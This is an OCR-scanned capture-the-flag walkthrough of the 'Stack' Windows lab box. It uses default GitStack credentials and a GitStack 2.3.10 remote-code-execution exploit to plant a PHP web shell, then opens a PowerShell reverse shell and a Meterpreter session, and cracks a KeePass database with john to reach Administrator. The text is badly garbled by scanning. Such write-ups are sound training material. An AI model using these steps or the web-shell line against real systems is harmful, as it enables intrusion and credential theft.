Stack

Stack CyberSeclLab
Nmap Scan:

)-[~/../B2B/CyberSecLabs/Windows/Stack
1.1.1 ,1 4

ython/2.7.2 PHP/5.

, Windows 'ver 2 ; CPE: cpe:/o:microsoft:windows

(, NetBIOS user: <unknown>, NetBIOS K

but default)

required

e detection performed.
Nmap done: 1 IP addre

-
From the scan we cantellits a windows machine. And we have few ports open. So | started my enumeration on port
445 whichis smb but unfortunately it doesn't allow anonymous listing of shares.

But lets move on to port 80 whichis a web server. When | navigated there it showed me an error that the default

page is not found andif we read it well we can see the possible path its expectingso the first thing | navigated to was
the gitstackdirectory.

<« > C @ O & 731112 & @ @ °

)-[~/../B2B/CyberSecLabs/Windows/Stack]

Kali Linux # Kali Tools  KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec HackTheFlag DeHashed —#FreeTh... {J Offensive Security Che... R regex101: build, test,a... ™ Regulex : JavaScriptR...

Page not found (404

Request Method: GET
Request URL: http://172.31.1.12/
Using the URLconf defined in app.urls, Django tried these URL patterns, in this order:
1. “registration/login/$

2. ~gitstaci
3. “rest/

The current URL, , didn't match any of these.

You're seeing this error because you have DE&UG = True in your Django settings file. Change that to Fatse, and Django will display a standard 404 page.

After that | was redirected to a login page. Also from the look we can see its running gitstack instance and now lets try
the default credential to accessiit.
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< C @ O & 17231112 ) it &

KaliLinux # Kali Tools  KaliDocs N Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec HackTheFlag DeHashed —#FreeTh... () Offensive Security Che... R regex107: build, test, a... Regulex : JavaScript R.

GitStack

® Default username/password : admin/admin

usemame [
password [

SignIn

We're loggedin. So the first thing | noticed was the title header of the web page which says GitStack 2.3.10 whichis
the version the gitstackinstance is running on so lets hit searchsploit and check for known exploits.

GitStack 2.3.10

<« C @ O & 172.31.1.12/gitstack/ 9 o ()

KaliLinux # Kali Tools  KaliDocs N Kali Forums e Kali NetHunter Exploit-DB % Google Hacking DB @ GitStack2.3.10 | OffSec HackTheFlag DeHashed — #FreeTh... {J Offensive Security Che... 'R regex101: build, test,a... ™~ Regulex : JavaScriptR...

Gitstack i 30 days trial expired. Running GitStack Basic edition. Learn more.

Repositories
Create and manage your repositories
Repositories

Repositories
Users & Groups

Settings Name Command to clone Action

Vg git 1.1.12/TfVa.git Qax

Create repository

Name

Copyright 2011 - 202

From the result of runningsearchsploit we can see its has a remote code execution exploit. So lets copy it to our
machine and checkit out.

So this exploitisn't really a fancy one where you are given option to give the exploit input directly from the terminal so
I made a few adjustment for the exploit to worki.e changing the target ip.

*gitrce.py

requests

HTTPBasicAuth
0s
sys

27 repository = 'rce
28 username = ‘admin
29 password = 'admin
30 csrf_token = 'token

So lets run the exploit. And from the result we can see the exploit worked and the command whoami was executed
now lets get reverse shell via it. But firstly we need to know the path the exploit php code was placed thats as easy as

checking the source code.
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: command})

Now we know the path the php code is lets access it and run command directly.
C @ O & 17231112 r

Kali Linux 8 KaliTools ¢ KaliDocs ¥ KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB - @ GitStack 2.3.10 OffSec HackTheFlag DeHashed — #FreeTh..

Offensive Security Che... 'R regex101: build, test, a...
Notice: Undefined index: a in C:\GitStack\gitphp\exploit.php on line 1

Warning: system(): Cannot execute a blank command in C:\GitStack\gitphp\exploit.php on line 1

So the code is takinga as a GET parameter over the command you run. So we have toinclude it in the url.

< C @ O & 17231112 I & 9 @ °

Offensive Security Che... 'R regex101: build, test, a... "~ Regulex : JavaScriptR...

Kali Linux #8 KaliTools < KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB @ GitStack 2.3.10 OffSec HackTheFlag DeHashed — #FreeTh...

Notice: Undefined index: a in C:\GitStack\gitphp\exploit.php on line 1

Warning: system(): Cannot execute a blank command in C:\GitStack\gitphp\exploit.php on line 1

But afterincludingit, it still doesn't work now the answer is because of the php code used. We can see its using POST

request to send command <?php system($_POST['a"); 2> so for us to fix this we need to change the request to post
and this can be done using a web proxy like burp suite or using curl.

92 "[+] Create backdoor in PHP

93r = reuueéts.get( ex. gitga=summary'.format(ip, repository), auth=HTTPBasicAuth(username, 'p &6 echo "<?php
94 r.text.encode(sys.stdout.encoding, errors='replace’)
95

HTTP history WebSockets history Options

f Request to http:/f172.31.1.12:80

Forward Drop Intercept is on Action Open Browser

Raw Hex

1 GET /web/exploit.php?a=dir HTTP/1.1

2 Host: 172.31.1.12

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1mage/webp,*/*;q=0.8
S Accept-Language: en-US,en;q=0.5

5 Accept-Encoding: gzip, deflate

7 Connection: close

S Cookie: csrftoken=91htJ7GLItpTl1loaj51jInwupPTSWBYL; sessionid=d2636ale3048668a306fad61bcchobsd
9 Upgrade-Insecure-Requests: 1
10
11

Sowe need to change the GET request to POST, just right click then choose change request method. After that the
request should be changed toa POST request. And on sending it we should have our command executed.
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&’ Request to http:f172.31.1.12:80

Forward Drop Intercept is on Action Open Browser
Raw Hex
GET /web/exploit.php?a=dir HTTP/1.1
Host: 172.31.1.12

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1mage/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: csrftoken=91htJ7GlItpTlloajS1jInwupPTSWBYl; sessionid=d2636ale3048668a306fa461bccbobSd
Upgrade-Insecure-Requests: 1

Scan
Do passive scan
Do active scan
Ctri+l
Ctrl+R

Send to Intruder
Send to Repeater
Send to Sequencer
Send to Comparer
Send to Decoder
Request in browser >
Extensions >
Engagement tools >
Change request method

Change body encoding

Copy URL
Copy as curl command
Copy tofile
Paste from file
Save item
&’ Request to http:f172.31.1.12:80
Forward Drop Intercept is on Action Open Browser
Pr Raw Hex
1 posT /web/exploit.php HTTP/1.1
Host: 172.31.1.12

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1mage/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: csrftoken=91htJ7GlItpTlloajS1jInwupPTSWBYl; sessionid=d2636ale3048668a306fa461bccbobSd
Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 5

a=dir

O A& 17231112

Kali Linux #8 KaliTools « KaliDocs N Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB @ GitStack 2.3.10

OffSec

HackTheFlag

" Volume in drive C has no label. Volume Serial Number is 46CA-4083 Directory of C:\GitStack\gitphp 04/20/2020 08:44 PM

. 04/20/2020 08:44 PM
.. 04/13/2020 01:43 PM
cache 04/13/2020 01:44 PM
config 04/13/2020 01:43 PM
css 04/13/2020 01:43 PM
doc 12/13/2022 02:32 AM 34 exploit.php 04/13/2020 01:43 PM
images 04/13/2020 01:43 PM
include 05/16/2012 01:20 PM 5,742 index.php 04/13/2020 01:43 PM
js 04/13/2020 01:43 PM
lib 04/13/2020 01:43 PM
locale 04/13/2020 01:43 PM
templates 04/13/2020 01:43 PM

templates_c 2 File(s) 5,776 bytes 13 Dir(s) 7,480,909,824 bytes free "

DeHashed — #FreeTh

But since | prefer using curlin cases like this lets then get our reverse shell.
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( )-[~/../B2B/CyberSecLabs/Windows/Stack]
’j curl "http://172.31.1.12/web/exploit.php" -X POST -d "a=whoami”
"stack\john

L—( )-[~/../B2B/CybersecLabs/Windows/Stack]
1

So I'll be using powershell reverse shell which | got from revshells.com. On sending the payload | received a call back
from my listener.

S C:\users\john\desktop> whoami /priv

PRIVILEGES INFORMATION

Description

SeChangeNotifyPrivilege 3ypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\users\john\desktop>

From the result of doing whoami /privwe see it has SelmpersonatePrivilge Enables. Now to exploit this I'll be using
metasploit forit.

Sol generated a windows reverse shell executable then sent it to the target. on running the binary | generated | got a
call back from my metasploit listener.

But unfortunately we can't exploit that privilege because there is no available token for us to impersonate.

msf6 exploit(

Started reverse TCP handler on 10.10.0.78:4444
Sending stage (175686 bytes) to 172.31.1.12
Meterpreter session 1 opened (10.10.0.78:4444 -> 172.31.1.12:49189) at 2022-12-13 04:15:57 +0100
meterpreter > load incognito
Loading extension incognito...Success.
> list_tokens -u
-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM

Delegation Tokens Available

meterpreter >

So next thing | did was to upload winPEAS.exe and runiit. And after few seconds of winPEAS scanning the host | got
this while searching the result generated by winPEAS. Its a Keepass password database, lets transfer it to our host
machine and checkit out.

|[Found Keepass Files
File: C:\Users\john\Documents\
File: C:\Users\john\AppData\Roaming\KeePass\
File: C:\Program Files (x86)\KeePass Password Safe 2\



https://revshells.com

[jﬁ( )-[~/../B2B/CyberSecLabs/Windows/Stack]
1s

gitrce.py

[j—( )-[~/../B2B/CyberSecLabs/Windows/Stack]

file password_manager.kdbx

password_manager.kdbx: Keepass password database 2.x KDBX

)-[~/../B2B/CyberSecLabs/Windows/Stack]

(
Lsg

So now we've confirmedits really a keepass password database using the file command on linux. Now to opena
keepass file we make use of keepassx tool which can easily be downloaded using apt on linux.
So lets open the file using keepassx. But its requiring a password for us to to view it.

f )-[~/../B2B/CyberSecLabs/Windows/Stack]
keepassx password_manager.kdbx
Warning: Ignoring XDG_SESSION_TYPE=wayland on Gnome. Use QT_QPA_PLATFORM=waylanc

password_manager.kdbx - KeePassX

Database Entries Groups View Tools Help

EE S IP 4@

Enter master key
/home/mark/Desktop/B2B/CyberSecLabs/Windows/Stack/password_manager.kdbx

Password: a
Key File: Browse

Cancel

But luckily for us there's a tool(keepass2john) which will convert keepass files to hash. Which John the ripper will

attempt to brute force. Lets tryit out.
So | used keepass2john to convert the keepass file to hash then | used john to brute force it. And from the result we

see the password for the keepass file which is princess.




[:7( )-[~/../B2B/CyberSecLabs/Windows/Stack]
keepass2john password_manager.kdbx > hash

( )-[~/../B2B/CyberSecLabs/Windows/Stack]
[j_ john -w=/home/mark/Documents/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (KeeP: [SHA256 AES 32/64])
Cost 1 (itera
Cost 2 (version) is 2 for all loaded has
st 3 (algorithm [0=AES 1=TwoFish 2=ChaChal]) is @ for all loaded hashes
2 OpenMP threads
or Ctrl-C to abort, almost any other key for status
princess (password_manager)
1g 0:00:00:00 DONE (2022-12-13 04:25) 8 s 66.66p/s 66.66¢c/s 2 .rockyou

g
Use the "--show" option to display all of the cracked passwords reliably

ssion completed.

)-[~/../B2B/CyberSecLabs/Windows/Stack]

Now lets open up the password manager database file.

After opening it up we should get the credential for the Administrator and the user whichis john
’S|_-'I»5E|v|1 2 3 4| & O ! O & 1010078 ;os;42|ﬂ G

File Actions Edit View Help

mark@haxor: ~/D x ~/D yberSecL

~/../B2B/CyberSecLabs/Windows/Stack = database2 - KeePassX

password_manager . kdbx Database Entries Groups View Tools Help
gt.xkb.compose: failed to create compose table v 5
EED S IP 4@
Windows > admin > Edit entry
Entry
Advanced
Icon Username: Administrator
Auto-Type

Properties
History Repeat: ®sscccccsccccce

Title: admin|

Password: eeeeeeeesscscee
URL:

Expires Presets -

Notes:

Now lets login via rdp as the administrator.




R : Hostname £ STACK
ecycle Bin » ) E
Instance ID % i-02eabe3fbacBaaali’d
Private IP Address 5 L2311 12
Availability Zone : eu-west-2c
Instance Size : t2.micro
Architecture : AMD64

Administrator: C\Windows\system32\cmd.exe EE

icrosoft Windows [Uersion 6.3.96801
(c> 2813 Microsoft Corporation. All rights reserved.

\Users\Administrator>vhoami
tack\administrator

:\Users\Administrator>

B@ Windows Server

= — 3:28 AM
Eﬁ Q = 0 & 12/13/2022

Andwe're done:0
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